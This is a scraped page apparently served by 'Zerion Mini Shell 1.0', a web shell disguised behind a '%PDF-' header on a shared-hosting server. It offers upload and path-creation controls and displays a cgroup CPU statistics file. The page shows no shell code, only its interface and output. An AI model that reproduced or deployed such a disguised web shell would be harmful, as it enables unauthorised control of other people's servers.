%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpu/lve1368/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpu/lve1368/cpu.proc.stat

cpu  132405735 0 18300948 40255044091 187431 0 0 573627
cpu0 5117980 0 729246 1677684038 58639 0 0 35659
cpu1 6951113 0 949814 1675224265 14122 0 0 29685
cpu2 6803388 0 919247 1675473962 6462 0 0 30602
cpu3 7178979 0 964487 1675013953 5256 0 0 27989
cpu4 6677384 0 896927 1675652063 5341 0 0 27010
cpu5 6366455 0 859974 1676097026 4193 0 0 26522
cpu6 6223317 0 843958 1676331820 5981 0 0 26086
cpu7 6037605 0 824756 1676594831 5337 0 0 25359
cpu8 5852124 0 804988 1676853591 6096 0 0 24780
cpu9 5756154 0 795169 1677020221 5692 0 0 24173
cpu10 5529369 0 770424 1677266238 5437 0 0 23977
cpu11 5499432 0 769544 1677369097 5286 0 0 23454
cpu12 5381349 0 756843 1677507211 4818 0 0 23302
cpu13 5218687 0 733533 1677737520 4934 0 0 22220
cpu14 5133037 0 725255 1677861230 5422 0 0 21691
cpu15 4991221 0 704042 1678038994 4687 0 0 21317
cpu16 4879973 0 687636 1678178476 4316 0 0 20602
cpu17 4809162 0 676442 1678243115 4239 0 0 20600
cpu18 4794654 0 668248 1678286272 4576 0 0 20474
cpu19 4769781 0 664876 1678299817 6812 0 0 20086
cpu20 4643884 0 645718 1678520077 4921 0 0 20279
cpu21 4683831 0 649718 1678501612 3880 0 0 19385
cpu22 4576346 0 632074 1678654169 4635 0 0 19108
cpu23 4530500 0 628018 1678634482 6336 0 0 19256
intr 0
swap 0 0

ctxt 373115599
btime 1747808572
processes 183694
procs_running 1
procs_blocked 0

Zerion Mini Shell 1.0